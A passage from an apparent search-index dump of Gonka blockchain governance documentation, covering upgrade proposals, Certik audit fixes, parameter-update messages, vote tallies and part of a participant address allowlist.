New MLNode container v3.0.10 is fully compartible with v3.0.9 and can be updated asyncronously at any time. Important: to support new features as models auto-downloading, HF_HUB_OFFLINE should be disabled (env variable removed from deploy/join/docker-compose.mlnode.yml).
The on-chain upgrade from version v0.2.3-patch2 to v0.2.4 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#training-security", "title": "Training Security", "text": "See the commits related to this change here and here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#overview", "title": "Overview", "text": "Training in Gonka is not ready for broad use. However, all training messages are currently available, causing both confusion and an attack surface for DoS attachs
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#solution", "title": "Solution", "text": "All training related messages are now behind two allow lists (EXEC to run training tasks, START to initiate training). The lists are controlled via governance votes.
This also addresses several Certik audit issues.
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#major-certik-audit-fixes", "title": "Major Certik Audit fixes", "text": "This is a set of fixes that address issues found in the Certik Audit that required more substantial fixes in the code. References to the specific Certik issue are in parenthesis The overall changes can be seen here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#pubkey-must-match-address", "title": "Pubkey must match address", "text": "When adding a new Participant, the pubkey must match the address (GOC-12). Specific changes here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#panic-avoidance-during-endblock", "title": "Panic avoidance during EndBlock", "text": "Panics during EndBlock will cause consensus failure. These are a set of changes to avoid possible panics, either explicitly called or through methods starting with Must. (GOC-13, GOI-24) Changes are here and here
While replay attacks are primarily avoided via Signature dedupe for InferenceId, after pruning older inferences could be replayed. This adds on-chain checks for old inferences being replayed. (GOI-01). Changes are here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#pruning-improvements", "title": "Pruning Improvements", "text": "The first version of pruning was crude and liable to issues as scale increased as all pruning would take place in a single block. This introduces a more scalable version of pruning that will prune a given number of items each block until all items are pruned, and introduces a generic Pruner that can be re-used for this logic for other items as needed. (GOC-14). Changes are here and here
MsgValidate had zero limits, allowing even non-participants to submit invalidations, requiring and expensive chain-wide revalidation each time. Even inadvertent invalidations could cause significant strain on the chain, and have caused one chain halt.
There are several fixes to address this: 1. No longer include the ResponsePayload in MsgValidate (this was 90%+ of the message size) 2. Check that a validator is an active participant AND has the model for the Inference being validated 3. Add limits to the number of Invalidations allowed for each Participant (based on Power and Reputation)
Code is here and here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#config-management-improvements-for-api-nodes", "title": "Config Management Improvements for API nodes", "text": ""}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#config-storage", "title": "Config Storage", "text": "Config Management was entirely file based for API nodes. While this was adequate for infrequently or never changing attributes such as URLs, account addresses or network settings, it is not performant or safe for frequently changing values such as block height, node data or seed info.
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#solution_1", "title": "Solution", "text": "Introduce a file based SqlLite DB to handle changing values and synchronize them for the API node.
Source code is here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#mlnode-management-api", "title": "MLNode management api", "text": "REST API is becoming new main way to manage MLNodes. node-config.json is used only at the first load.
New endpoint PUT /admin/nodes/:id is introduce to update MLNode infor without deleting.
We use unordered transactions. Each transaction has a TTL—the time window within which the transaction must be executed. Some transactions are sent with a retry: we send repeatedly until we confirm that the transaction has made it to the chain
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#problem", "title": "Problem", "text": "Under heavy load or other extreme circumstances, the chain blocks can begin to slow or even halt. Since transactions are compared with block time for TTL and signed with node machine time, the drift would result in all messages being rejected as being ahead of block time. They are then resent, further propagating the error and resulting in additional strain on the network as it tries to recover.
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#solution_2", "title": "Solution", "text": "Source code is here
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#support-small-gpus-on-testnet", "title": "Support small GPUs on TestNet", "text": ""}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#problem_1", "title": "Problem", "text": "testnet should support smaller GPUs in order to encourage bigger participation in testnet, increasing tests and therefore network robustness.
Far more details available in the PR description at the top here, but a summary: 1. Add new Endpoints to the ML Node that allow checking status of model downloads and other properties 2. Add new Endpoints to the ML Node that checking GPU status and drivers 3. Improvements in vLLM Stability deployment, as well as additional status APIs to check on progress 4. Integration of the above with the API node, with background pre-downloading of upcoming epochs and updating hardware on the chain.
"}, {"location": "proposals/proposals/2025-q4/8/full-proposal/#health-endpoints-for-mlnode-and-experimental-auto-detection-for-node-setup-issues-here", "title": "Health endpoints for MLNode and experimental auto-detection for node setup issues here", "text": ""}, {"location": "proposals/proposals/2025-q4/9/", "title": "#9 – Higher Bandwidth Limits & Voting Time Back to 24H", "text": "Passed
Proposal ID: 9
Type: Update Params
Submit: 2025-11-11 09:22 UTC
Voting: 2025-11-11 09:22 UTC → 2025-11-11 12:22 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Higher Bandwidth Limits & Voting Time Back to 24H
"}, {"location": "proposals/proposals/2025-q4/9/#final-tally", "title": "Final Tally", "text": "Yes 394,887 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 394,887 votes"}, {"location": "proposals/proposals/2025-q4/9/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /cosmos.gov.v1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"20\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"60\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"1075200\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/cosmos.gov.v1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25000000\"\n }\n ],\n \"max_deposit_period\": \"86400s\",\n \"voting_period\": \"86400s\",\n \"quorum\": \"0.334000000000000000\",\n \"threshold\": \"0.500000000000000000\",\n \"veto_threshold\": \"0.334000000000000000\",\n \"min_initial_deposit_ratio\": \"0.000000000000000000\",\n \"proposal_cancel_ratio\": \"0.500000000000000000\",\n \"proposal_cancel_dest\": \"\",\n \"expedited_voting_period\": \"10800s\",\n \"expedited_threshold\": \"0.667000000000000000\",\n \"expedited_min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50000000\"\n }\n ],\n \"burn_vote_quorum\": false,\n \"burn_proposal_deposit_prevote\": false,\n \"burn_vote_veto\": true,\n \"min_deposit_ratio\": \"0.010000000000000000\"\n }\n }\n]\nPassed Rejected Voting With Funding
2026-Q117 proposals
#35 – gonka.ai / TheSoul social media awareness project Rejected Submitted 2026-03-30 Voting ends 2026-03-31 This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure. Key elements: Led by TheSoul Group (full-cycl… Yes 9,150 (25.5%) · No 10,325 (28.8%) · Veto 2,450 (6.8%) · Abstain 13,939 (38.9%)970,000 GNK · Community Pool #34 – gonka.ai / TheSoul social media awareness project Rejected Submitted 2026-03-30 Voting ends 2026-03-31 This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure. Key elements: Led by TheSoul Group (full-cycl… #33 – Epochs 132-133 compensation payout from gov module Passed Submitted 2026-03-26 Voting ends 2026-03-27 Distribute compensation for CPoC bug affected participants in epochs 132-133. Yes 184,243 (41.8%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 256,296 (58.2%)3,100 GNK · Community Pool · 24,806 GNK · Gov Module #32 – Epoch 158 compensation payout from gov module (batch vesting) Passed Submitted 2026-03-23 Voting ends 2026-03-24 Distribute compensation proportional to epoch 158 lost preserved weights. Implemented as one MsgBatchTransferWithVesting. Yes 501,114 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)500 GNK · Community Pool · 30,038 GNK · Gov Module #31 – Upgrade Proposal: v0.2.11 Passed Submitted 2026-03-19 Voting ends 2026-03-20 Upgrade Proposal: v0.2.11 Yes 673,699 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #30 – Test Proposal Rejected Submitted 2026-03-09 Voting ends 2026-03-10 Testing governance voting from the wallet app. Yes 0 (0.0%) · No 47 (100.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #29 – Network Parameters Update: Disable TA Allowlist, Increase Prices 100x Rejected Submitted 2026-02-19 Voting ends 2026-02-20 Remove TransferAgent allowlist restrictions (empty list = all TAs allowed) and increase per-token pricing 100x (min 100, base 10000 ngonka) to reduce spam. Yes 7,314 (2.9%) · No 0 (0.0%) · Veto 243,060 (97.1%) · Abstain 0 (0.0%) #28 – Collateral Parameters Update Rejected Submitted 2026-02-18 Voting ends 2026-02-19 0.032 GNK per 1 unit of power, 0.01% slashing for miss rate or jail, 0.5% slashing for invalid inference Yes 314,460 (96.5%) · No 11,504 (3.5%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #27 – Upgrade Proposal: v0.2.10 Passed Submitted 2026-02-17 Voting ends 2026-02-18 Upgrade Proposal: v0.2.10 Yes 1,540,653 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #26 – Upgrade Proposal: v0.2.9 Passed Submitted 2026-01-31 Voting ends 2026-02-01 Upgrade Proposal: v0.2.9 Yes 2,708,406 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #25 – Upgrade Proposal: v0.2.8 Passed Submitted 2026-01-28 Voting ends 2026-01-29 Upgrade Proposal: v0.2.8 Yes 4,153,562 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #24 – Upgrade Proposal: v0.2.8 Rejected Submitted 2026-01-28 Voting ends 2026-01-29 Upgrade Proposal: v0.2.8 #22 – Allowlist Timing Passed Submitted 2026-01-17 Voting ends 2026-01-18 Update Expiration Dates for Developer Access and Participant Allowlist Yes 3,476,742 (99.9%) · No 2,836 (0.1%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #21 – Fix mistakes in allowlist Passed Submitted 2026-01-11 Voting ends 2026-01-12 https://github.com/product-science/filter/tree/0354c37eb6c827f00c1e889a2b7de9952a9b84ba Yes 3,020,391 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #20 – Enable Whitelist Passed Submitted 2026-01-09 Voting ends 2026-01-10 https://github.com/product-science/filter/tree/ae59d27f04a70039bcfca94ae656e723982150cd Yes 2,111,775 (90.1%) · No 90,320 (3.9%) · Veto 140,607 (6.0%) · Abstain 0 (0.0%) #19 – Upgrade Proposal: v0.2.7 Passed Submitted 2026-01-07 Voting ends 2026-01-08 Upgrade Proposal: v0.2.7 Yes 3,886,156 (96.1%) · No 148,604 (3.7%) · Veto 8,096 (0.2%) · Abstain 0 (0.0%) #18 – Test Rejected Submitted 2026-01-04 Voting ends 2026-01-05 Test proposal Yes 4,237 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)← Back to all proposals
"}, {"location": "proposals/proposals/2026-q1/#2026-q1-summary", "title": "2026-Q1 Summary", "text": "17Total Proposals 10Passed (59%) 7Rejected (41%) Software Upgrade6 Governance Parameters5 Funding / Grants4 Other2 3,600 GNK · Community Pool · 54,844 GNK · Gov Module"}, {"location": "proposals/proposals/2026-q1/18/", "title": "#18 – Test", "text": "Rejected
Proposal ID: 18
Type: —
Submit: 2026-01-04 13:07 UTC
Voting: 2026-01-04 13:07 UTC → 2026-01-05 13:07 UTC
Proposer: gonka15vunu0new53m83ccvfcmkf84v7q4s8ldsjfu4y
Metadata: e30=
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Test proposal
"}, {"location": "proposals/proposals/2026-q1/18/#final-tally", "title": "Final Tally", "text": "Yes 4,237 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 4,237 votes"}, {"location": "proposals/proposals/2026-q1/18/#messages", "title": "Messages", "text": "# Type Contract Details[]\nPassed
Proposal ID: 19
Type: Software Upgrade
Submit: 2026-01-07 04:23 UTC
Voting: 2026-01-07 04:23 UTC → 2026-01-08 04:23 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/d18165669326fffd6732bc124183a72c076a69ee/proposals/governance-artifacts/update-v0.2.7/README.md
View on gonka.gg
Upgrade Proposal: v0.2.7
"}, {"location": "proposals/proposals/2026-q1/19/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/19/#upgrade-proposal-v027", "title": "Upgrade Proposal: v0.2.7", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.7. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.7 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.6 to v0.2.7 has been successfully deployed and verified on the testnet.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/19/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration sets new parameters:
GenesisGuardianParams.NetworkMaturityThreshold = 15,000,000GenesisGuardianParams.NetworkMaturityMinHeight = 3,000,000GenesisOnlyParams into governance-controlled params (only if not already set)DeveloperAccessParams.UntilBlockHeight = 2,294,222 (inference gating for non-allowlisted developers)DeveloperAccessParams.AllowedDeveloperAddresses = predefined allowlist (governance-updatable)ParticipantAccessParams.NewParticipantRegistrationStartHeight = 2,222,222 (new host registration blocked until this height)ParticipantAccessParams.BlockedParticipantAddresses = placeholder blocklist (governance-updatable)ParticipantAccessParams.UseParticipantAllowlist = false (epoch allowlist disabled by default)Migration also distributes rewards from the community pool:
Commits: 3c004c6dd, 0e5094ca0, da1413498
Temporary reactivation of the Genesis Guardian Enhancement, a previously used defensive mechanism.
GenesisGuardianParamsCommits: 3c004c6dd, ca4b5f92f, fc3d13fb9, d5fae6671
Temporary restriction of inference execution to an allowlisted set of developer addresses.
MsgStartInference, MsgFinishInference) gated by requested_by addressDeveloperAccessParamsErrDeveloperNotAllowlistedCommits: 1d309fe27, d1523d1ca
New participant registration pause and PoC blocklist enforcement.
SubmitNewParticipant, SubmitNewUnfundedParticipant) blocked until height 2,222,222MsgSubmitPocBatch and MsgSubmitPocValidationMsgAddParticipantsToAllowList, MsgRemoveParticipantsFromAllowList, and QueryParticipantAllowList for future governance-controlled epoch allowlist (disabled by default)Commits: 1644047b9, 2dbdcca00
Protocol-level filtering of stale PoC transactions and improved tx-manager reliability.
MsgSubmitPocBatch and MsgSubmitPocValidation during CheckTxMsgSubmitPocBatch and MsgSubmitPocValidation transactionsCommit: 2c05788d5
Fixes incorrect accounting of failed inference requests.
Commit: cf483b34e
Settlement and bitcoin reward remainder accounting.
SettleAmount transferred to governance module account instead of burnedBitcoinResult.GovernanceAmountCommits: 3d8d4caf2, a4828a1d0
Reward distribution executed during upgrade.
/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.7\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"2054000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/inferenced-amd64.zip?checksum=sha256:b7c9034a2a4e1b2fdd525bd45aa32540129c55176fd7a223a1e13a7e177b3246\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.7/decentralized-api-amd64.zip?checksum=sha256:03555ba60431e72bd01fe1fb1812a211828331f5767ad78316fdd1bcca0e2d52\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.7. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.7 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.6 to v0.2.7 has been successfully deployed and verified on the testnet.
Reviewers are encouraged to request access to the testnet environment to validate the upgrade or test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2026-q1/19/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration sets new parameters:
GenesisGuardianParams.NetworkMaturityThreshold = 15,000,000GenesisGuardianParams.NetworkMaturityMinHeight = 3,000,000GenesisOnlyParams into governance-controlled params (only if not already set)DeveloperAccessParams.UntilBlockHeight = 2,294,222 (inference gating for non-allowlisted developers)DeveloperAccessParams.AllowedDeveloperAddresses = predefined allowlist (governance-updatable)ParticipantAccessParams.NewParticipantRegistrationStartHeight = 2,222,222 (new host registration blocked until this height)ParticipantAccessParams.BlockedParticipantAddresses = placeholder blocklist (governance-updatable)ParticipantAccessParams.UseParticipantAllowlist = false (epoch allowlist disabled by default)Migration also distributes rewards from the community pool:
Commits: 3c004c6dd, 0e5094ca0, da1413498
Temporary reactivation of the Genesis Guardian Enhancement, a previously used defensive mechanism.
GenesisGuardianParamsCommits: 3c004c6dd, ca4b5f92f, fc3d13fb9, d5fae6671
Temporary restriction of inference execution to an allowlisted set of developer addresses.
MsgStartInference, MsgFinishInference) gated by requested_by addressDeveloperAccessParamsErrDeveloperNotAllowlistedCommits: 1d309fe27, d1523d1ca
New participant registration pause and PoC blocklist enforcement.
SubmitNewParticipant, SubmitNewUnfundedParticipant) blocked until height 2,222,222MsgSubmitPocBatch and MsgSubmitPocValidationMsgAddParticipantsToAllowList, MsgRemoveParticipantsFromAllowList, and QueryParticipantAllowList for future governance-controlled epoch allowlist (disabled by default)Commits: 1644047b9, 2dbdcca00
Protocol-level filtering of stale PoC transactions and improved tx-manager reliability.
MsgSubmitPocBatch and MsgSubmitPocValidation during CheckTxMsgSubmitPocBatch and MsgSubmitPocValidation transactionsCommit: 2c05788d5
Fixes incorrect accounting of failed inference requests.
Commit: cf483b34e
Settlement and bitcoin reward remainder accounting.
SettleAmount transferred to governance module account instead of burnedBitcoinResult.GovernanceAmountCommits: 3d8d4caf2, a4828a1d0
Reward distribution executed during upgrade.
Passed
Proposal ID: 20
Type: Add Participants To Allow List, Update Params
Submit: 2026-01-09 06:46 UTC
Voting: 2026-01-09 06:46 UTC → 2026-01-10 06:46 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
https://github.com/product-science/filter/tree/ae59d27f04a70039bcfca94ae656e723982150cd
"}, {"location": "proposals/proposals/2026-q1/20/#final-tally", "title": "Final Tally", "text": "Yes 2,111,775 (90.1%) No 90,320 (3.9%) Veto 140,607 (6.0%) Abstain 0 (0.0%) Total 2,342,702 votes"}, {"location": "proposals/proposals/2026-q1/20/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgAddParticipantsToAllowList 2 /inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgAddParticipantsToAllowList\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"addresses\": [\n \"gonka10000627dkz6nvmf09ctqy073v0fls696uznwgg\",\n \"gonka100009u7hegukxy5ne3w6ycfleaj7uuvh2juxqd\",\n \"gonka10000uv63da0ee5drk26erkwrvcmpmj7kg6kw48\",\n \"gonka10003spukrualhl3h80k9x5m9vrmvlmp8kf4t4w\",\n \"gonka10006x5p5z8zukfye552fd58qqj2qth69kv5kmn\",\n \"gonka100070ewvrcraax995yd78cm0nraryzp4hal3hk\",\n \"gonka10008pmwrke48xh42dhe0ul0mm0mhhvz6ta9srs\",\n \"gonka100092zwvcksslturgx39lzwy6ztjxuttt3spej\",\n \"gonka1000937gjpju4udj2wlj3yld0lcw024tp0ztqew\",\n \"gonka10009skl232h4c94st5ar3j3c2e34cfk2cpgrj0\",\n \"gonka1000hqfkcp3cs0fq4r78vvpkjlv5n4x4sdgcv7v\",\n \"gonka1000rv0ddp9yk6djr4y29mt0gu3m4p8mg4kmjcv\",\n \"gonka1000sng4u5jm7jdjnwxvq6uwmw067mvcurd9205\",\n \"gonka1000xjetteyu7gy726vnhdxq69y3meq04gvnk4d\",\n \"gonka1000xmydnfvphwy4n5yww4ex6nwk9mqslf2gnhs\",\n \"gonka1000y038g5sqz6ewnq6f6ktl3xx07fmezc3zrng\",\n \"gonka1000zfcrzdjwwucvs9k2wuy4j5ecj69q5f4v57h\",\n \"gonka1002c4q4xly43ykn9am73p40xgfl6l3vs66f7de\",\n \"gonka100k8hr43z5vp0fnyc94m7lum6mj4st6vksxz8s\",\n \"gonka100mrlhdj7rvj9dxskmtkerhcrmpjq7lx95z8hy\",\n \"gonka102zvy0egvt7kfhj46gpzg09sdqu6lzfczalt6p\",\n \"gonka104z9al2taf6gspj2qlsqtjwpxt7ypmpn5z0nxa\",\n \"gonka105ce4495mj0mwkxqeasgdzqfq5jjrfq32eza5l\",\n \"gonka1060g3x0qxkarfvupav5srccyuht95swyl0kpzc\",\n \"gonka106wrpdwkuudnxdm0lwzw2zharr8tfx7ug07p9f\",\n \"gonka107swr6xrllv06a6t8e7yewdjc6sgrf8uyhamgn\",\n \"gonka109g8dnt43nj45xhg83jyjt5f2ywz336w36qzyl\",\n \"gonka109xyam3aq9xt6tjgkgtwwahky7hfd84nl8tvup\",\n \"gonka10awwdfkwvp70wpkkda2nlhe90q6tjus6awme38\",\n \"gonka10az8z6jv7lkywkjeajah2sdd9c0ysdm3rc09j0\",\n \"gonka10cgs0yszeu9r9yh8q3a4xqumr2xrllpnzw04v0\",\n \"gonka10chphxxphg5pwj2zmu6uue89zlsk22wnqa9utt\",\n \"gonka10cllk38hyhjgz96dv2x586wd4thntwx8n7yw54\",\n \"gonka10dn20l38dxx4a7rfnd9qwdass86j27c79w3tm7\",\n \"gonka10dqhrlqs3e3zp0tjfgqg055z9vadkyku56sxze\",\n \"gonka10ejjacwvwma37rn8wrf3je7gt8u7lulu7vh8ly\",\n \"gonka10ekkjpyfad6265m2502d4tp3n8yp9n0d7rlzk4\",\n \"gonka10etnufq85u67k075yuxq6h3rzwlcln5rffhlyx\",\n \"gonka10ftkd2zat7h8vlx59vwmfv8qe07qzg8cuf5fd6\",\n \"gonka10fvaz7sgva6563fkcp9wxlk5hz7gj8fmu0w699\",\n \"gonka10gj5lnsxalcwzeve04k2pdzhx2nrlqp4hkrevd\",\n \"gonka10h37w4zmxw2talt77lkr067hvy3fgdfy43gd0e\",\n \"gonka10hd93y4ja2nypv6e448q0f8wtqn39napkxhxtw\",\n \"gonka10he6c5p4hzehewj4eftusd7xw2ngakl7lnv3at\",\n \"gonka10jrlgh9yege62d3wnytkgamdgjyqs9xpjxm32n\",\n \"gonka10kmsyy00yxnky2xfqy9wce0l7uaadq4jjp3ykg\",\n \"gonka10l4faswz4hqytwmndgjf0wag7c0wzspz2v05zn\",\n \"gonka10lz43ane7tkgqaypqxzsszpul9llvuc9p9yvt2\",\n \"gonka10m9xmpvlev54nkq45vmu8ycv6g2gyhehruuun6\",\n 